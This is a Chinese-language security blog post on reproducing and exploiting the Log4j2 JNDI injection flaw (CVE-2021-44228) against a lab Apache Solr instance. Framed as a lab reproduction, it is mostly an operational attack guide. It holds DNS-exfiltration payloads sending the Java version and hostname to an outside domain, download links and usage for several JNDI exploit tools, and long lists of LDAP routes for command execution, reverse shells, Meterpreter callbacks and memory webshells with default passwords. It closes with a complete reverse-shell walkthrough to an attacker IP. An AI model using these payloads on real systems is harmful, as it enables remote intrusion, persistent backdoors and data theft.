Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
漏洞环境
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:
docker compose up -d
服务启动后,访问http://your-ip:8983
即可查看到Apache Solr的后台页面。
http://127.0.0.1:8983/solr/#/
漏洞复现
${jndi:dns://${sys:java.version}.example.com}
是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.fflvorciuw.dnstunnel.run} HTTP/1.1
Host: 127.0.0.1:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
我们可以在DNS日志平台收到相关日志,显示出当前Java版本:
GET /solr/admin/cores?action=${jndi:ldap://${hostName}.fflvorciuw.dnstunnel.run} HTTP/1.1
Host: 127.0.0.1:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
我们可以在DNS日志平台收到相关日志,显示出当前服务器用户名:
漏洞利用
JNDI 注入工具
JNDIExploit
https://github.com/qi4L/JNDIExploit
JNDIExploit 2.5
https://github.com/qi4L/JNDIExploit/releases
新增命令执行回显
-
weblogicEcho
-
WebsphereEcho
-
ResinEcho
-
WindowsEcho
-
LinuxEcho1
-
LinuxEcho2
-
JettyEcho
https://github.com/qi4L/JNDIExploit/releases/download/v2.5/JNDIExploit-2.5.jar
使用 java -jar JNDIExploit-[version].jar -h
查看参数说明,其中 --ip
参数为必选参数
Usage: java -jar JNDIExploit-[version].jar [options]
Options:
* -i, --ip Local ip address (default: 0.0.0.0)
-rP, --rmiPort rmi bind port (default: 1099)
-lP, --ldapPort Ldap bind port (default: 1389)
-hP, --httpPort Http bind port (default: 3456)
-g, --gadgets Show gadgets (default: false)
-c, --command RMI this command
-h, --help Show this help
-
目前支持的所有
PayloadType
为 -
原理:通过延迟等方法来确定唯一正确的 fd 文件;
-
不会影响访问网站的其他用户,也不会导致应用崩溃;
-
原理是遍历当前进程 fd 目录下的所有和 socket 相关的 fd 文件,并输出结果;
-
缺陷:1. 会影响同一时间点所有访问网站的用户(也会看到自定义回显的结果); 2. 在8次左右有可能导致应用崩溃
-
Bypass
: 用于rmi本地工厂类加载,通过添加自定义header
cmd: whoami
的方式传递想要执行的命令 -
TomcatEcho
: 用于在中间件为Tomcat
时命令执行结果的回显,通过添加自定义header
cmd: whoami
的方式传递想要执行的命令 -
SpringEcho
: 用于在框架为SpringMVC/SpringBoot
时命令执行结果的回显,通过添加自定义header
cmd: whoami
的方式传递想要执行的命令 -
JbossEcho
: Jboss 命令执行回显, 通过添加自定义header
cmd: whoami
的方式传递想要执行的命令 -
WeblogicEcho
: weblogic 命令执行回显, 通过添加自定义header
cmd: whoami
的方式传递想要执行的命令 -
WebsphereEcho
: websphere 命令执行回显, 通过添加自定义header
cmd: whoami
的方式传递想要执行的命令 -
ResinEcho
: Resin 命令执行回显, 通过添加自定义header
cmd: whoami
的方式传递想要执行的命令 -
JettyEcho
: Jetty7,8,9版本命令执行回显, 通过添加自定义header
cmd: whoami
的方式传递想要执行的命令 -
WindowsEcho
: Windows 命令执行回显, 只执行了whoami -
LinuxEcho1
: Linux 命令执行回显, 只执行了id, -
LinuxEcho2
: Linux 命令执行回显, 只执行了id -
AllEcho
: 自动选择命令执行回显, 通过添加自定义header
cmd: whoami
的方式传递想要执行的命令 -
qi4l
:用于执行命令,如果命令有特殊字符,支持对命令进行 Base64编码后传输 -
直接命令执行示例:
{{url
(${jndi:ldap://0.0.0.0:1389/TomcatBypass/qi4l/Base64/{{base64
(ping xxx.dnstunnel.run)
}}})
}}
-
Echo示例:
{{url
(${jndi:ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho})
}}
{{url
(${jndi:ldap://0.0.0.0:1389/Basic/TomcatEcho})
}}
-
支持tomcatBypass路由直接上线msf:
使用msf的java/meterpreter/reverse_tcp开启监听
ldap://127.0.0.1:1389/TomcatBypass/Meterpreter/msf/[msfip]/[msfport]
🦄 内存马
两种添加方式:
-
支持引用远程类加载方式打入(Basic路由)。
-
支持本地工厂类加载方式打入(TomcatBypass路由)。
使用说明:不指定类型就默认为冰蝎马。
-
t 选择内存马的类型
-
不指定类型就默认为冰蝎马
-
bx: 冰蝎内存马,
key: nu1ryyds
,Referer:https://nu1r.cn/
-
gz: 哥斯拉内存马,
pass: nu1r
,Referer:https://nu1r.cn/
-
gzraw: 哥斯拉 raw 类型的内存马,
pass: nu1r
,Referer:https://nu1r.cn/
-
cmd: cmd命令回显内存马。
-
a:是否继承恶意类 AbstractTranslet
-
o:使用反射绕过
-
w:Windows下使用Agent写入
-
l:Linux下使用Agent写入
-
u:内存马绑定的路径,default [/version.txt]
-
pw:内存马的密码,default [p@ssw0rd]
-
r:内存马 Referer check,default [https://nu1r.cn/]
-
h:通过将文件写入$JAVA_HOME来隐藏内存shell,目前只支持 SpringControllerMS
-
ht:隐藏内存外壳,输入1:write /jre/lib/charsets.jar 2:write /jre/classes/
-
内存马使用示例:
// 加参数
{{url
(${jndi:ldap://0.0.0.0:1389/Basic/tomcatfilterjmx/shell/-u path223 -pw 123456 -r tth.cn})
}}
// 默认加载
{{url
(${jndi:ldap://0.0.0.0:1389/Basic/tomcatfilterjmx/shell})
}}
内存马说明:
-
SpringInterceptor
: 向系统内植入 Spring Interceptor 类型的内存马 -
SpringController
: 向系统内植入 Spring Controller 类型的内存马 -
JettyFilter
: 利用 JMX MBeans 向系统内植入 Jetty Filter 型内存马 -
JettyServlet
: 利用 JMX MBeans 向系统内植入 Jetty Servlet 型内存马 -
JBossFilter
: 通过全局上下文向系统内植入 JBoss/Wildfly Filter 型内存马 -
JBossServlet
: 通过全局上下文向系统内植入 JBoss/Wildfly Servlet 型内存马 -
resinFilterTh
: 通过线程类加载器获取指定上下文系统内植入 Resin Filter 型内存马 -
resinServletTh
: 通过线程类加载器获取指定上下文系统内植入 Resin Servlet 型内存马 -
WebsphereMemshell
: 用于植入Websphere内存shell
, 支持Behinder shell
与Basic cmd shell
-
tomcatFilterJmx
: 利用 JMX MBeans 向系统内植入 Tomcat Filter 型内存马 -
tomcatFilterTh
: 通过线程类加载器获取指定上下文向系统内植入 Tomcat Filter 型内存马 -
TomcatListenerJmx
: 利用 JMX MBeans 向系统内植入 Tomcat Listener 型内存马 -
TomcatListenerTh
: 通过线程类加载器获取指定上下文向系统内植入 Tomcat Listener 型内存马 -
TomcatServletJmx
: 利用 JMX MBeans 向系统内植入 Tomcat Servlet 型内存马 -
TomcatServletTh
: 通过线程类加载器获取指定上下文向系统内植入 Tomcat Servlet 型内存马 -
WSFilter
:CMD
命令回显 WebSocket 内存马,cmd命令回显
-
TomcatExecutor
: Executor 内存马,cmd命令回显
-
TomcatUpgrade
: TomcatUpgrade 内存马,cmd命令回显
-
Struts2ActionMS
: Action 类型内存马
JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
JNDI-Injection-Exploit-Plus-2.2
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases
-
fix bug which give empty output when use Deserialize Gadget
-
add Jackson Gadget to exploit nacos jraft rce
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/download/2.2/JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar
详细说明
JNDI-Injection-Exploit-Plus是一款JNDI注入利用工具,可以生成JNDI链接并启动后端相关服务。
根据JNDI的三种触发点,提供3种JNDI利用方式
-
远程Reference链 (3种)
-
本地Reference链 (4种)
-
反序列化链(74种)
使用方法
command] [-A] [address] java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar [-C] [
参数说明
-C - 要执行的命令.
(可选 , 默认命令 "open /Applications/Calculator.app")
-A - 运行此工具的主机IP地址.
(可选 , 默认是第一个网卡的地址)
示例
-
运行工具
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1" java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C
-
触发JNDI注入
class Test{
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
}
}
JNDI-Injection-Exploit-Plus是一款反序列化Payload生成工具
包含50+ Gadgets链,比ysoserial还多出10+
使用方法
command] [-D] [Gadget] [-O] [base64/hex] java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar [-C] [
参数说明
-C - 要执行的命令.
(可选 , 默认命令 "open /Applications/Calculator.app")
-D - 要生成的反序列化链名字,见Github列表.
-O - (可选) 输出格式,base64或16进制, 默认是16进制
示例
普通
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64 java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C
JNDIExploit
https://github.com/WhiteHSBG/JNDIExploit
JNDIExploit v1.4
https://github.com/WhiteHSBG/JNDIExploit/releases
依赖/data/Meterpreter.class
https://github.com/WhiteHSBG/JNDIExploit/releases/download/v1.4/JNDIExploit.v1.4.zip
一款用于 JNDI注入
利用的工具,大量参考/引用了 Rogue JNDI
项目的代码,支持直接植入内存shell
,并集成了常见的bypass 高版本JDK
的方式,适用于与自动化工具配合使用。
添加内容
添加内容是为了支持SpringBootExploit工具,是定制版的服务端。
-
启动方式:java -jar JNDIExploit-1.3-SNAPSHOT.jar 默认绑定127.0.0.1 LDAP 绑定 1389 HTTP Server 绑定3456
-
根目录下BehinderFilter.class是内存马 /ateam 密码是ateamnb
-
data/behinder3.jar 是为了支持SnakYaml RCE
-
添加HTTPServer处理更多的请求,为了更好支持SpringBootExploit工具
-
将文件放在data目录下,通过HTTPServer可以访问文件内容如同python的HTTPServer
添加内容2
新增哥斯拉内存马
-
支持引用类远程加载方式打入(Basic路由)
-
支持本地工厂类方式打入 (TomcatBypass路由)
哥斯拉客户端配置:
密码:pass1024
密钥:key
有效载荷:JavaDynamicPayload
加密器:JAVA_AES_BASE64
修复之前版本中的一些问题,冰蝎内存马现已直接可用冰蝎客户端直连
新增msf上线支持
-
支持tomcatBypass路由直接上线msf:
使用msf的java/meterpreter/reverse_tcp开启监听
ldap://127.0.0.1:1389/TomcatBypass/Meterpreter/[msfip]/[msfport]
使用说明
使用 java -jar JNDIExploit.jar -h
查看参数说明,其中 --ip
参数为必选参数
Usage: java -jar JNDIExploit.jar [options]
Options:
* -i, --ip Local ip address
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show usage (default: false)
-h, --help Show this help
使用 java -jar JNDIExploit.jar -u
查看支持的 LDAP 格式
Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server
[//0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g. ] Basic Queries: ldap:
ldap://0.0.0.0:1389/Basic/Dnslog/[domain]
ldap://0.0.0.0:1389/Basic/Command/[cmd]
ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Basic/TomcatEcho
ldap://0.0.0.0:1389/Basic/SpringEcho
ldap://0.0.0.0:1389/Basic/WeblogicEcho
ldap://0.0.0.0:1389/Basic/TomcatMemshell1
ldap://0.0.0.0:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/Basic/TomcatMemshell3 /ateam pass1024
ldap://0.0.0.0:1389/Basic/GodzillaMemshell /bteam.ico pass1024
ldap://0.0.0.0:1389/Basic/JettyMemshell
ldap://0.0.0.0:1389/Basic/WeblogicMemshell1
ldap://0.0.0.0:1389/Basic/WeblogicMemshell2
ldap://0.0.0.0:1389/Basic/JBossMemshell
ldap://0.0.0.0:1389/Basic/WebsphereMemshell
ldap://0.0.0.0:1389/Basic/SpringMemshell
[//0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g. ] Deserialize Queries: ldap:
ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho
ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho
ldap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcho
ldap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshell
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells
[ ] TomcatBypass Queries
ldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]
ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]
ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho
ldap://0.0.0.0:1389/TomcatBypass/SpringEcho
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3 /ateam pass1024
ldap://0.0.0.0:1389/TomcatBypass/GodzillaMemshell /bteam.ico pass1024
ldap://0.0.0.0:1389/TomcatBypass/SpringMemshell
ldap://0.0.0.0:1389/TomcatBypass/Meterpreter/[ip]/[port] ---java/meterpreter/reverse_tcp
[ ] GroovyBypass Queries
ldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]
ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[ ] WebsphereBypass Queries
ldap://0.0.0.0:1389/WebsphereBypass/List/file=
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
-
目前支持的所有
PayloadType
为 -
Dnslog
: 用于产生一个DNS
请求,与DNSLog
平台配合使用,对Linux/Windows
进行了简单的适配 -
Command
: 用于执行命令,如果命令有特殊字符,支持对命令进行Base64编码
后传输 -
ReverseShell
: 用于Linux
系统的反弹shell,方便使用 -
TomcatEcho
: 用于在中间件为Tomcat
时命令执行结果的回显,通过添加自定义header
cmd: whoami
的方式传递想要执行的命令 -
SpringEcho
: 用于在框架为SpringMVC/SpringBoot
时命令执行结果的回显,通过添加自定义header
cmd: whoami
的方式传递想要执行的命令 -
WeblogicEcho
: 用于在中间件为Weblogic
时命令执行结果的回显,通过添加自定义header
cmd: whoami
的方式传递想要执行的命令 -
TomcatMemshell1
: 用于植入Tomcat内存shell
, 支持Behinder shell
与Basic cmd shell
-
TomcatMemshell2
: 用于植入Tomcat内存shell
, 支持Behinder shell
与Basic cmd shell
, 使用时需要添加额外的HTTP Header
Shell: true
, 推荐使用此方式 -
SpringMemshell
: 用于植入Spring内存shell
, 支持Behinder shell
与Basic cmd shell
-
WeblogicMemshell1
: 用于植入Weblogic内存shell
, 支持Behinder shell
与Basic cmd shell
-
WeblogicMemshell2
: 用于植入Weblogic内存shell
, 支持Behinder shell
与Basic cmd shell
,推荐使用此方式 -
JettyMemshell
: 用于植入Jetty内存shell
, 支持Behinder shell
与Basic cmd shell
-
JBossMemshell
: 用于植入JBoss内存shell
, 支持Behinder shell
与Basic cmd shell
-
WebsphereMemshell
: 用于植入Websphere内存shell
, 支持Behinder shell
与Basic cmd shell
-
目前支持的所有
GadgetType
为 -
URLDNS
-
CommonsBeanutils1
-
CommonsBeanutils2
-
CommonsCollectionsK1
-
CommonsCollectionsK2
-
C3P0
-
Jdk7u21
-
Jre8u20
-
CVE_2020_2551
-
CVE_2020_2883
-
WebsphereBypass
中的 3 个动作: -
list
:基于XXE
查看目标服务器上的目录或文件内容 -
upload
:基于XXE
的jar协议
将恶意jar包
上传至目标服务器的临时目录 -
rce
:加载已上传至目标服务器临时目录的jar包
,从而达到远程代码执行的效果
环境部署
操作系统:Rocky-9.2-x86_64-dvd
环境:JDK
安装 OpenJDK
sudo yum install java
反弹Shell
利用JNDIExploit-1.4-SNAPSHOT.jar
反弹shell
攻击机准备好工具JNDIExploit-1.4-SNAPSHOT.jar
java -jar JNDIExploit-1.4-SNAPSHOT.jar -l 8088 -p 8099 -i 47.94.250.255
然后在攻击机上开启监听
nc -lvvp 6666
执行下面代码
jndi_address=ldap://47.94.250.255:8088/Basic/ReverseShell/47.94.250.255/6666
成功反弹shell
GET /solr/admin/cores?action=${jndi:ldap://47.94.250.255:8088/Basic/ReverseShell/47.94.250.255/6666} HTTP/1.1
Host: 127.0.0.1:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
原文始发于微信公众号(利刃信安攻防实验室):【漏洞复现】Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论